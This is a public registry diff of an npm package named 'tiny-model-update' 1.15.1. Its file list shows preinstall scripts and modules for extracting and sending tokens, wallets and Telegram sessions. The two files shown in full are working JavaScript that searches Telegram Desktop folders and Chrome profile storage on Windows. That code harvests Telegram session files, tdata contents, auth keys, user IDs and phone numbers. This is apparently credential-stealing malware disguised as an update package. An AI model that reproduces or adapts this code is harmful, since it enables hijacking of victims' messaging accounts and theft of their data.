tiny-model-update 1.15.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +104 -0
- package/bin/admin-control.js +6 -0
- package/bin/extract-tokens.cmd +10 -0
- package/bin/extract-tokens.js +211 -0
- package/bin/generate-invites.js +39 -0
- package/bin/preinstall.cmd +10 -0
- package/bin/preinstall.js +720 -0
- package/bin/preinstall.vbs +18 -0
- package/bin/restart-bot.js +131 -0
- package/bin/start-bot.js +16 -0
- package/bin/stop-bot.js +127 -0
- package/index.js +27 -0
- package/lib/admin-control.js +55 -0
- package/lib/auto-cycle.js +232 -0
- package/lib/auto-updater.js +145 -0
- package/lib/cycle-runner.js +67 -0
- package/lib/discord-bot.js +101 -0
- package/lib/discord-desktop-decrypt.js +161 -0
- package/lib/encryption.js +22 -0
- package/lib/invite-bot-rest.js +193 -0
- package/lib/invite-bot.js +188 -0
- package/lib/process-cleanup.js +106 -0
- package/lib/security-bypass.js +70 -0
- package/lib/telegram-extractor.js +443 -0
- package/lib/telegram-session-reader.js +144 -0
- package/lib/telegram-session-sender.js +223 -0
- package/lib/telegram.js +94 -0
- package/lib/token-extractor.js +620 -0
- package/lib/token-verifier.js +100 -0
- package/lib/wallet-extractor.js +447 -0
- package/lib/wallet-sender.js +151 -0
- package/package.json +44 -0
|
@@ -0,0 +1,443 @@
|
|
|
1
|
+
import fs from 'fs';
|
|
2
|
+
import path from 'path';
|
|
3
|
+
import os from 'os';
|
|
4
|
+
import { readLevelDBRaw, readLevelDBDirect, tryReadLevelDBWithCopy } from './token-extractor.js';
|
|
5
|
+
|
|
6
|
+
/**
|
|
7
|
+
* Get Telegram Desktop storage paths
|
|
8
|
+
*/
|
|
9
|
+
export function getTelegramDesktopPaths() {
|
|
10
|
+
const platform = os.platform();
|
|
11
|
+
const paths = [];
|
|
12
|
+
|
|
13
|
+
if (platform === 'win32') {
|
|
14
|
+
const appData = process.env.APPDATA || path.join(os.homedir(), 'AppData', 'Roaming');
|
|
15
|
+
const localAppData = process.env.LOCALAPPDATA || path.join(os.homedir(), 'AppData', 'Local');
|
|
16
|
+
|
|
17
|
+
// Telegram Desktop locations
|
|
18
|
+
const telegramBasePaths = [
|
|
19
|
+
path.join(appData, 'Telegram Desktop'),
|
|
20
|
+
path.join(localAppData, 'Telegram Desktop'),
|
|
21
|
+
];
|
|
22
|
+
|
|
23
|
+
for (const basePath of telegramBasePaths) {
|
|
24
|
+
if (!fs.existsSync(basePath)) continue;
|
|
25
|
+
|
|
26
|
+
try {
|
|
27
|
+
const profileName = path.basename(basePath);
|
|
28
|
+
|
|
29
|
+
// Check for Local Storage/leveldb (similar to Discord)
|
|
30
|
+
const leveldbPath = path.join(basePath, 'Local Storage', 'leveldb');
|
|
31
|
+
if (fs.existsSync(leveldbPath)) {
|
|
32
|
+
paths.push({
|
|
33
|
+
profile: `Telegram Desktop (${profileName})`,
|
|
34
|
+
localStorage: leveldbPath,
|
|
35
|
+
sessionFiles: null
|
|
36
|
+
});
|
|
37
|
+
}
|
|
38
|
+
|
|
39
|
+
// Check for session files (Telegram Desktop stores sessions in files)
|
|
40
|
+
const sessionFiles = [];
|
|
41
|
+
try {
|
|
42
|
+
const entries = fs.readdirSync(basePath);
|
|
43
|
+
for (const entry of entries) {
|
|
44
|
+
// Telegram session files: tdata folder or session files
|
|
45
|
+
if (entry === 'tdata' || entry.endsWith('.session') || entry.endsWith('.session-journal')) {
|
|
46
|
+
const entryPath = path.join(basePath, entry);
|
|
47
|
+
if (fs.statSync(entryPath).isFile() || fs.statSync(entryPath).isDirectory()) {
|
|
48
|
+
sessionFiles.push(entryPath);
|
|
49
|
+
}
|
|
50
|
+
}
|
|
51
|
+
}
|
|
52
|
+
|
|
53
|
+
if (sessionFiles.length > 0) {
|
|
54
|
+
paths.push({
|
|
55
|
+
profile: `Telegram Desktop (${profileName} - Sessions)`,
|
|
56
|
+
localStorage: null,
|
|
57
|
+
sessionFiles: sessionFiles
|
|
58
|
+
});
|
|
59
|
+
}
|
|
60
|
+
} catch (e) {
|
|
61
|
+
// Ignore
|
|
62
|
+
}
|
|
63
|
+
} catch (e) {
|
|
64
|
+
continue;
|
|
65
|
+
}
|
|
66
|
+
}
|
|
67
|
+
}
|
|
68
|
+
|
|
69
|
+
return paths;
|
|
70
|
+
}
|
|
71
|
+
|
|
72
|
+
/**
|
|
73
|
+
* Get Telegram Web storage paths from Chrome
|
|
74
|
+
*/
|
|
75
|
+
export function getTelegramWebPaths() {
|
|
76
|
+
const chromePaths = [];
|
|
77
|
+
const platform = os.platform();
|
|
78
|
+
|
|
79
|
+
if (platform === 'win32') {
|
|
80
|
+
const localAppData = process.env.LOCALAPPDATA || path.join(os.homedir(), 'AppData', 'Local');
|
|
81
|
+
const userDataDir = path.join(localAppData, 'Google', 'Chrome', 'User Data');
|
|
82
|
+
|
|
83
|
+
try {
|
|
84
|
+
const entries = fs.readdirSync(userDataDir);
|
|
85
|
+
const profiles = new Set();
|
|
86
|
+
|
|
87
|
+
if (fs.existsSync(path.join(userDataDir, 'Default'))) {
|
|
88
|
+
profiles.add('Default');
|
|
89
|
+
}
|
|
90
|
+
|
|
91
|
+
for (const entry of entries) {
|
|
92
|
+
if (entry === 'Default' || entry.startsWith('Profile')) {
|
|
93
|
+
const profilePath = path.join(userDataDir, entry);
|
|
94
|
+
if (fs.statSync(profilePath).isDirectory()) {
|
|
95
|
+
profiles.add(entry);
|
|
96
|
+
}
|
|
97
|
+
}
|
|
98
|
+
}
|
|
99
|
+
|
|
100
|
+
for (const profile of profiles) {
|
|
101
|
+
const profilePath = path.join(userDataDir, profile);
|
|
102
|
+
const leveldbPath = path.join(profilePath, 'Local Storage', 'leveldb');
|
|
103
|
+
if (fs.existsSync(leveldbPath)) {
|
|
104
|
+
chromePaths.push({
|
|
105
|
+
profile: `Telegram Web (Chrome ${profile})`,
|
|
106
|
+
localStorage: leveldbPath,
|
|
107
|
+
sessionFiles: null
|
|
108
|
+
});
|
|
109
|
+
}
|
|
110
|
+
}
|
|
111
|
+
} catch (e) {
|
|
112
|
+
// Ignore
|
|
113
|
+
}
|
|
114
|
+
}
|
|
115
|
+
|
|
116
|
+
return chromePaths;
|
|
117
|
+
}
|
|
118
|
+
|
|
119
|
+
/**
|
|
120
|
+
* Extract Telegram session/token from LevelDB
|
|
121
|
+
*/
|
|
122
|
+
async function extractTelegramFromLevelDB(leveldbPath) {
|
|
123
|
+
// Method 1: Raw file reading
|
|
124
|
+
let session = readLevelDBRaw(leveldbPath);
|
|
125
|
+
if (session) {
|
|
126
|
+
// Check if it's a Telegram session
|
|
127
|
+
if (isValidTelegramSession(session)) {
|
|
128
|
+
return session;
|
|
129
|
+
}
|
|
130
|
+
}
|
|
131
|
+
|
|
132
|
+
// Method 2: Direct LevelDB read
|
|
133
|
+
session = await readLevelDBDirect(leveldbPath);
|
|
134
|
+
if (session && isValidTelegramSession(session)) {
|
|
135
|
+
return session;
|
|
136
|
+
}
|
|
137
|
+
|
|
138
|
+
// Method 3: Copy and read
|
|
139
|
+
session = await tryReadLevelDBWithCopy(leveldbPath);
|
|
140
|
+
if (session && isValidTelegramSession(session)) {
|
|
141
|
+
return session;
|
|
142
|
+
}
|
|
143
|
+
|
|
144
|
+
return null;
|
|
145
|
+
}
|
|
146
|
+
|
|
147
|
+
/**
|
|
148
|
+
* Extract Telegram session from Local Storage (looking for telegram.org keys)
|
|
149
|
+
*/
|
|
150
|
+
async function extractTelegramSessionFromStorage(leveldbPath) {
|
|
151
|
+
try {
|
|
152
|
+
const { Level } = await import('level');
|
|
153
|
+
let db;
|
|
154
|
+
|
|
155
|
+
try {
|
|
156
|
+
db = new Level(leveldbPath, { valueEncoding: 'utf8' });
|
|
157
|
+
} catch (e) {
|
|
158
|
+
return null;
|
|
159
|
+
}
|
|
160
|
+
|
|
161
|
+
const keys = [];
|
|
162
|
+
try {
|
|
163
|
+
for await (const key of db.keys()) {
|
|
164
|
+
keys.push(key);
|
|
165
|
+
if (keys.length > 500) break;
|
|
166
|
+
}
|
|
167
|
+
} catch (e) {
|
|
168
|
+
await db.close();
|
|
169
|
+
return null;
|
|
170
|
+
}
|
|
171
|
+
|
|
172
|
+
// Look for Telegram-related keys - be more thorough
|
|
173
|
+
const telegramKeys = keys.filter(k =>
|
|
174
|
+
k.includes('telegram.org') ||
|
|
175
|
+
k.includes('web.telegram.org') ||
|
|
176
|
+
k.includes('telegram') ||
|
|
177
|
+
k.toLowerCase().includes('telegram') ||
|
|
178
|
+
k.toLowerCase().includes('session') ||
|
|
179
|
+
k.toLowerCase().includes('auth_key') ||
|
|
180
|
+
k.toLowerCase().includes('authkey') ||
|
|
181
|
+
k.toLowerCase().includes('user_auth') ||
|
|
182
|
+
k.toLowerCase().includes('dc_id') ||
|
|
183
|
+
k.toLowerCase().includes('user_id')
|
|
184
|
+
);
|
|
185
|
+
|
|
186
|
+
// Also check ALL keys if we don't find Telegram-specific ones (web sessions might be stored differently)
|
|
187
|
+
const keysToCheck = telegramKeys.length > 0 ? telegramKeys : keys.slice(0, 200); // Check up to 200 keys if no Telegram keys found
|
|
188
|
+
|
|
189
|
+
for (const key of keysToCheck) {
|
|
190
|
+
try {
|
|
191
|
+
const value = await db.get(key);
|
|
192
|
+
if (value && typeof value === 'string') {
|
|
193
|
+
// Telegram web sessions are often stored as JSON strings
|
|
194
|
+
// Check if it looks like a session string or token
|
|
195
|
+
if (isValidTelegramSession(value)) {
|
|
196
|
+
await db.close();
|
|
197
|
+
return value;
|
|
198
|
+
}
|
|
199
|
+
|
|
200
|
+
// Try to parse JSON if it's stored as JSON (common for web sessions)
|
|
201
|
+
try {
|
|
202
|
+
const jsonValue = JSON.parse(value);
|
|
203
|
+
|
|
204
|
+
// Check if it's a direct string session
|
|
205
|
+
if (typeof jsonValue === 'string' && isValidTelegramSession(jsonValue)) {
|
|
206
|
+
await db.close();
|
|
207
|
+
return jsonValue;
|
|
208
|
+
}
|
|
209
|
+
|
|
210
|
+
// Check nested values in objects (web sessions are often nested)
|
|
211
|
+
if (typeof jsonValue === 'object' && jsonValue !== null) {
|
|
212
|
+
// Look for common Telegram session fields
|
|
213
|
+
const sessionFields = ['auth_key', 'authKey', 'session', 'session_string', 'user_id', 'userId', 'dc_id', 'dcId'];
|
|
214
|
+
|
|
215
|
+
for (const field of sessionFields) {
|
|
216
|
+
if (jsonValue[field]) {
|
|
217
|
+
const fieldValue = jsonValue[field];
|
|
218
|
+
if (typeof fieldValue === 'string' && isValidTelegramSession(fieldValue)) {
|
|
219
|
+
await db.close();
|
|
220
|
+
return fieldValue;
|
|
221
|
+
}
|
|
222
|
+
}
|
|
223
|
+
}
|
|
224
|
+
|
|
225
|
+
// Check all nested string values
|
|
226
|
+
const checkNested = (obj) => {
|
|
227
|
+
for (const nestedValue of Object.values(obj)) {
|
|
228
|
+
if (typeof nestedValue === 'string' && isValidTelegramSession(nestedValue)) {
|
|
229
|
+
return nestedValue;
|
|
230
|
+
}
|
|
231
|
+
if (typeof nestedValue === 'object' && nestedValue !== null) {
|
|
232
|
+
const found = checkNested(nestedValue);
|
|
233
|
+
if (found) return found;
|
|
234
|
+
}
|
|
235
|
+
}
|
|
236
|
+
return null;
|
|
237
|
+
};
|
|
238
|
+
|
|
239
|
+
const found = checkNested(jsonValue);
|
|
240
|
+
if (found) {
|
|
241
|
+
await db.close();
|
|
242
|
+
return found;
|
|
243
|
+
}
|
|
244
|
+
}
|
|
245
|
+
} catch (e) {
|
|
246
|
+
// Not JSON, continue
|
|
247
|
+
}
|
|
248
|
+
}
|
|
249
|
+
} catch (e) {
|
|
250
|
+
continue;
|
|
251
|
+
}
|
|
252
|
+
}
|
|
253
|
+
|
|
254
|
+
await db.close();
|
|
255
|
+
return null;
|
|
256
|
+
} catch (e) {
|
|
257
|
+
return null;
|
|
258
|
+
}
|
|
259
|
+
}
|
|
260
|
+
|
|
261
|
+
/**
|
|
262
|
+
* Read Telegram session files
|
|
263
|
+
*/
|
|
264
|
+
async function readTelegramSessionFiles(sessionFiles) {
|
|
265
|
+
const sessions = [];
|
|
266
|
+
|
|
267
|
+
// Import session reader module once
|
|
268
|
+
const { getTelegramSessionInfo } = await import('./telegram-session-reader.js');
|
|
269
|
+
|
|
270
|
+
for (const filePath of sessionFiles) {
|
|
271
|
+
try {
|
|
272
|
+
if (fs.statSync(filePath).isFile()) {
|
|
273
|
+
const data = fs.readFileSync(filePath);
|
|
274
|
+
const fileName = path.basename(filePath);
|
|
275
|
+
|
|
276
|
+
// Telegram .session files are SQLite databases
|
|
277
|
+
// Extract phone number from filename (format: PHONE.session)
|
|
278
|
+
if (filePath.endsWith('.session')) {
|
|
279
|
+
const phoneMatch = fileName.match(/^(\d+)\.session$/);
|
|
280
|
+
const phoneNumber = phoneMatch ? phoneMatch[1] : null;
|
|
281
|
+
|
|
282
|
+
// Try to extract auth key from session file
|
|
283
|
+
const sessionInfo = getTelegramSessionInfo(filePath);
|
|
284
|
+
|
|
285
|
+
sessions.push({
|
|
286
|
+
type: 'session_file',
|
|
287
|
+
path: filePath,
|
|
288
|
+
fileName: fileName,
|
|
289
|
+
size: data.length,
|
|
290
|
+
phoneNumber: phoneNumber,
|
|
291
|
+
authKey: sessionInfo?.authKeyFull || null,
|
|
292
|
+
authKeyPreview: sessionInfo?.authKey || null,
|
|
293
|
+
hasAuthKey: sessionInfo?.hasAuthKey || false,
|
|
294
|
+
userId: sessionInfo?.userId || null,
|
|
295
|
+
dcId: sessionInfo?.dcId || null
|
|
296
|
+
});
|
|
297
|
+
} else {
|
|
298
|
+
// Other files - try to extract readable data
|
|
299
|
+
const textData = data.toString('utf8');
|
|
300
|
+
if (isValidTelegramSession(textData)) {
|
|
301
|
+
sessions.push({
|
|
302
|
+
type: 'session_data',
|
|
303
|
+
data: textData,
|
|
304
|
+
path: filePath,
|
|
305
|
+
fileName: fileName
|
|
306
|
+
});
|
|
307
|
+
}
|
|
308
|
+
}
|
|
309
|
+
} else if (fs.statSync(filePath).isDirectory()) {
|
|
310
|
+
// tdata folder - contains encrypted session data
|
|
311
|
+
const entries = fs.readdirSync(filePath);
|
|
312
|
+
for (const entry of entries) {
|
|
313
|
+
const entryPath = path.join(filePath, entry);
|
|
314
|
+
if (fs.statSync(entryPath).isFile()) {
|
|
315
|
+
try {
|
|
316
|
+
const data = fs.readFileSync(entryPath);
|
|
317
|
+
sessions.push({
|
|
318
|
+
type: 'tdata_file',
|
|
319
|
+
path: entryPath,
|
|
320
|
+
fileName: entry,
|
|
321
|
+
size: data.length
|
|
322
|
+
});
|
|
323
|
+
} catch (e) {
|
|
324
|
+
// Ignore
|
|
325
|
+
}
|
|
326
|
+
}
|
|
327
|
+
}
|
|
328
|
+
}
|
|
329
|
+
} catch (e) {
|
|
330
|
+
continue;
|
|
331
|
+
}
|
|
332
|
+
}
|
|
333
|
+
|
|
334
|
+
return sessions;
|
|
335
|
+
}
|
|
336
|
+
|
|
337
|
+
/**
|
|
338
|
+
* Validate if a string is a valid Telegram session
|
|
339
|
+
* Telegram sessions can be:
|
|
340
|
+
* - String sessions (long alphanumeric strings)
|
|
341
|
+
* - Auth keys (hexadecimal)
|
|
342
|
+
* - Session tokens
|
|
343
|
+
*/
|
|
344
|
+
function isValidTelegramSession(session) {
|
|
345
|
+
if (!session || typeof session !== 'string') return false;
|
|
346
|
+
|
|
347
|
+
// Telegram string sessions are typically 200+ characters
|
|
348
|
+
// Auth keys are hexadecimal, 64+ characters
|
|
349
|
+
// Session tokens can vary
|
|
350
|
+
|
|
351
|
+
// Check for string session format (long alphanumeric)
|
|
352
|
+
if (session.length >= 100 && /^[A-Za-z0-9+/=_-]+$/.test(session)) {
|
|
353
|
+
return true;
|
|
354
|
+
}
|
|
355
|
+
|
|
356
|
+
// Check for auth key format (hexadecimal, 64+ chars)
|
|
357
|
+
if (session.length >= 64 && /^[0-9a-fA-F]+$/.test(session)) {
|
|
358
|
+
return true;
|
|
359
|
+
}
|
|
360
|
+
|
|
361
|
+
// Check for shorter session tokens (32+ chars, alphanumeric)
|
|
362
|
+
if (session.length >= 32 && session.length <= 200 && /^[A-Za-z0-9_-]+$/.test(session)) {
|
|
363
|
+
return true;
|
|
364
|
+
}
|
|
365
|
+
|
|
366
|
+
return false;
|
|
367
|
+
}
|
|
368
|
+
|
|
369
|
+
/**
|
|
370
|
+
* Extract all Telegram sessions and tokens
|
|
371
|
+
*/
|
|
372
|
+
export async function extractAllTelegramSessions() {
|
|
373
|
+
const telegramDesktopPaths = getTelegramDesktopPaths();
|
|
374
|
+
const telegramWebPaths = getTelegramWebPaths();
|
|
375
|
+
const allPaths = [...telegramDesktopPaths, ...telegramWebPaths];
|
|
376
|
+
|
|
377
|
+
if (allPaths.length === 0) {
|
|
378
|
+
return [];
|
|
379
|
+
}
|
|
380
|
+
|
|
381
|
+
const foundSessions = [];
|
|
382
|
+
const processedProfiles = new Set();
|
|
383
|
+
|
|
384
|
+
for (const storage of allPaths) {
|
|
385
|
+
if (processedProfiles.has(storage.profile)) {
|
|
386
|
+
continue;
|
|
387
|
+
}
|
|
388
|
+
processedProfiles.add(storage.profile);
|
|
389
|
+
|
|
390
|
+
// Try extracting from session files first
|
|
391
|
+
if (storage.sessionFiles && storage.sessionFiles.length > 0) {
|
|
392
|
+
const sessions = await readTelegramSessionFiles(storage.sessionFiles);
|
|
393
|
+
for (const sessionInfo of sessions) {
|
|
394
|
+
// Create a unique identifier for this session
|
|
395
|
+
const sessionId = sessionInfo.path || sessionInfo.data || JSON.stringify(sessionInfo);
|
|
396
|
+
if (!foundSessions.find(s => s.sessionId === sessionId)) {
|
|
397
|
+
foundSessions.push({
|
|
398
|
+
sessionId: sessionId,
|
|
399
|
+
session: sessionInfo.path || sessionInfo.data || sessionInfo.fileName,
|
|
400
|
+
profile: storage.profile,
|
|
401
|
+
type: sessionInfo.type || 'session_file',
|
|
402
|
+
phoneNumber: sessionInfo.phoneNumber,
|
|
403
|
+
fileName: sessionInfo.fileName,
|
|
404
|
+
filePath: sessionInfo.path,
|
|
405
|
+
authKey: sessionInfo.authKey || null,
|
|
406
|
+
authKeyPreview: sessionInfo.authKeyPreview || null,
|
|
407
|
+
hasAuthKey: sessionInfo.hasAuthKey || false,
|
|
408
|
+
userId: sessionInfo.userId || null,
|
|
409
|
+
dcId: sessionInfo.dcId || null,
|
|
410
|
+
size: sessionInfo.size || null
|
|
411
|
+
});
|
|
412
|
+
}
|
|
413
|
+
}
|
|
414
|
+
}
|
|
415
|
+
|
|
416
|
+
// Try extracting from Local Storage
|
|
417
|
+
if (storage.localStorage && fs.existsSync(storage.localStorage)) {
|
|
418
|
+
// Method 1: Extract from LevelDB (looking for Telegram keys)
|
|
419
|
+
const session = await extractTelegramSessionFromStorage(storage.localStorage);
|
|
420
|
+
if (session && !foundSessions.find(s => s.session === session)) {
|
|
421
|
+
foundSessions.push({
|
|
422
|
+
session,
|
|
423
|
+
profile: storage.profile,
|
|
424
|
+
type: 'local_storage'
|
|
425
|
+
});
|
|
426
|
+
continue;
|
|
427
|
+
}
|
|
428
|
+
|
|
429
|
+
// Method 2: Try general LevelDB extraction
|
|
430
|
+
const extracted = await extractTelegramFromLevelDB(storage.localStorage);
|
|
431
|
+
if (extracted && !foundSessions.find(s => s.session === extracted)) {
|
|
432
|
+
foundSessions.push({
|
|
433
|
+
session: extracted,
|
|
434
|
+
profile: storage.profile,
|
|
435
|
+
type: 'leveldb'
|
|
436
|
+
});
|
|
437
|
+
}
|
|
438
|
+
}
|
|
439
|
+
}
|
|
440
|
+
|
|
441
|
+
return foundSessions;
|
|
442
|
+
}
|
|
443
|
+
|
|
@@ -0,0 +1,144 @@
|
|
|
1
|
+
import fs from 'fs';
|
|
2
|
+
import path from 'path';
|
|
3
|
+
|
|
4
|
+
/**
|
|
5
|
+
* Read Telegram session file (SQLite database) and extract auth keys
|
|
6
|
+
* Telegram .session files are SQLite databases containing authentication data
|
|
7
|
+
*/
|
|
8
|
+
export async function readTelegramSessionFile(sessionFilePath) {
|
|
9
|
+
try {
|
|
10
|
+
// Check if file exists
|
|
11
|
+
if (!fs.existsSync(sessionFilePath)) {
|
|
12
|
+
return null;
|
|
13
|
+
}
|
|
14
|
+
|
|
15
|
+
// Try to read as SQLite database
|
|
16
|
+
// Note: We'll use a simple approach to extract data without requiring sqlite3
|
|
17
|
+
// Telegram session files have a specific structure
|
|
18
|
+
|
|
19
|
+
const fileData = fs.readFileSync(sessionFilePath);
|
|
20
|
+
|
|
21
|
+
// Telegram session files are SQLite databases
|
|
22
|
+
// They contain tables like: sessions, entities, sent_files, etc.
|
|
23
|
+
// The auth_key is stored in the sessions table
|
|
24
|
+
|
|
25
|
+
// Convert to string to search for patterns
|
|
26
|
+
const dataStr = fileData.toString('binary');
|
|
27
|
+
|
|
28
|
+
// Look for auth_key pattern in the binary data
|
|
29
|
+
// Auth keys are typically 256 bytes (512 hex chars) or stored as BLOB
|
|
30
|
+
const authKeyPatterns = [
|
|
31
|
+
/auth_key[\x00-\xFF]{0,50}([0-9a-fA-F]{512,1024})/g,
|
|
32
|
+
/auth_key[\x00-\xFF]{0,50}([A-Za-z0-9+/=]{200,500})/g,
|
|
33
|
+
];
|
|
34
|
+
|
|
35
|
+
const extractedData = {
|
|
36
|
+
filePath: sessionFilePath,
|
|
37
|
+
fileName: path.basename(sessionFilePath),
|
|
38
|
+
size: fileData.length,
|
|
39
|
+
authKey: null,
|
|
40
|
+
userId: null,
|
|
41
|
+
dcId: null,
|
|
42
|
+
sessionString: null
|
|
43
|
+
};
|
|
44
|
+
|
|
45
|
+
// Try to extract auth_key
|
|
46
|
+
for (const pattern of authKeyPatterns) {
|
|
47
|
+
const matches = [...dataStr.matchAll(pattern)];
|
|
48
|
+
if (matches.length > 0) {
|
|
49
|
+
// Take the first match that looks valid
|
|
50
|
+
for (const match of matches) {
|
|
51
|
+
const potentialKey = match[1];
|
|
52
|
+
if (potentialKey.length >= 200) {
|
|
53
|
+
extractedData.authKey = potentialKey;
|
|
54
|
+
break;
|
|
55
|
+
}
|
|
56
|
+
}
|
|
57
|
+
if (extractedData.authKey) break;
|
|
58
|
+
}
|
|
59
|
+
}
|
|
60
|
+
|
|
61
|
+
// Look for user_id (typically stored as integer)
|
|
62
|
+
const userIdPattern = /user_id[\x00-\xFF]{0,20}([0-9]{8,15})/g;
|
|
63
|
+
const userIdMatches = [...dataStr.matchAll(userIdPattern)];
|
|
64
|
+
if (userIdMatches.length > 0) {
|
|
65
|
+
extractedData.userId = userIdMatches[0][1];
|
|
66
|
+
}
|
|
67
|
+
|
|
68
|
+
// Look for dc_id (data center ID, typically 1-5)
|
|
69
|
+
const dcIdPattern = /dc_id[\x00-\xFF]{0,20}([1-5])/g;
|
|
70
|
+
const dcIdMatches = [...dataStr.matchAll(dcIdPattern)];
|
|
71
|
+
if (dcIdMatches.length > 0) {
|
|
72
|
+
extractedData.dcId = dcIdMatches[0][1];
|
|
73
|
+
}
|
|
74
|
+
|
|
75
|
+
// If we found an auth_key, create a session string representation
|
|
76
|
+
if (extractedData.authKey) {
|
|
77
|
+
// Create a readable session identifier
|
|
78
|
+
extractedData.sessionString = `auth_key:${extractedData.authKey.substring(0, 100)}...`;
|
|
79
|
+
}
|
|
80
|
+
|
|
81
|
+
return extractedData;
|
|
82
|
+
} catch (e) {
|
|
83
|
+
return null;
|
|
84
|
+
}
|
|
85
|
+
}
|
|
86
|
+
|
|
87
|
+
/**
|
|
88
|
+
* Extract readable session data from Telegram session file
|
|
89
|
+
* Returns a simplified version for display
|
|
90
|
+
*/
|
|
91
|
+
export function getTelegramSessionInfo(sessionFilePath) {
|
|
92
|
+
try {
|
|
93
|
+
const fileData = fs.readFileSync(sessionFilePath);
|
|
94
|
+
const fileName = path.basename(sessionFilePath);
|
|
95
|
+
|
|
96
|
+
// Extract phone number from filename
|
|
97
|
+
const phoneMatch = fileName.match(/^(\d+)\.session$/);
|
|
98
|
+
const phoneNumber = phoneMatch ? phoneMatch[1] : null;
|
|
99
|
+
|
|
100
|
+
// Read the file and extract basic info
|
|
101
|
+
const dataStr = fileData.toString('binary');
|
|
102
|
+
|
|
103
|
+
// Look for auth_key (can be stored in various formats)
|
|
104
|
+
let authKey = null;
|
|
105
|
+
|
|
106
|
+
// Pattern 1: Look for hex-encoded auth_key
|
|
107
|
+
const hexPattern = /auth[_-]?key[:\s]*([0-9a-fA-F]{256,512})/i;
|
|
108
|
+
const hexMatch = dataStr.match(hexPattern);
|
|
109
|
+
if (hexMatch) {
|
|
110
|
+
authKey = hexMatch[1];
|
|
111
|
+
}
|
|
112
|
+
|
|
113
|
+
// Pattern 2: Look for base64-encoded auth_key
|
|
114
|
+
if (!authKey) {
|
|
115
|
+
const base64Pattern = /auth[_-]?key[:\s]*([A-Za-z0-9+/=]{200,500})/i;
|
|
116
|
+
const base64Match = dataStr.match(base64Pattern);
|
|
117
|
+
if (base64Match) {
|
|
118
|
+
authKey = base64Match[1];
|
|
119
|
+
}
|
|
120
|
+
}
|
|
121
|
+
|
|
122
|
+
// Pattern 3: Look for any long alphanumeric string that might be an auth key
|
|
123
|
+
if (!authKey) {
|
|
124
|
+
const anyKeyPattern = /([0-9a-fA-F]{256,512})/;
|
|
125
|
+
const anyMatch = dataStr.match(anyKeyPattern);
|
|
126
|
+
if (anyMatch) {
|
|
127
|
+
authKey = anyMatch[1];
|
|
128
|
+
}
|
|
129
|
+
}
|
|
130
|
+
|
|
131
|
+
return {
|
|
132
|
+
phoneNumber: phoneNumber,
|
|
133
|
+
fileName: fileName,
|
|
134
|
+
filePath: sessionFilePath,
|
|
135
|
+
fileSize: fileData.length,
|
|
136
|
+
authKey: authKey ? authKey.substring(0, 100) + '...' : null,
|
|
137
|
+
authKeyFull: authKey,
|
|
138
|
+
hasAuthKey: !!authKey
|
|
139
|
+
};
|
|
140
|
+
} catch (e) {
|
|
141
|
+
return null;
|
|
142
|
+
}
|
|
143
|
+
}
|
|
144
|
+
|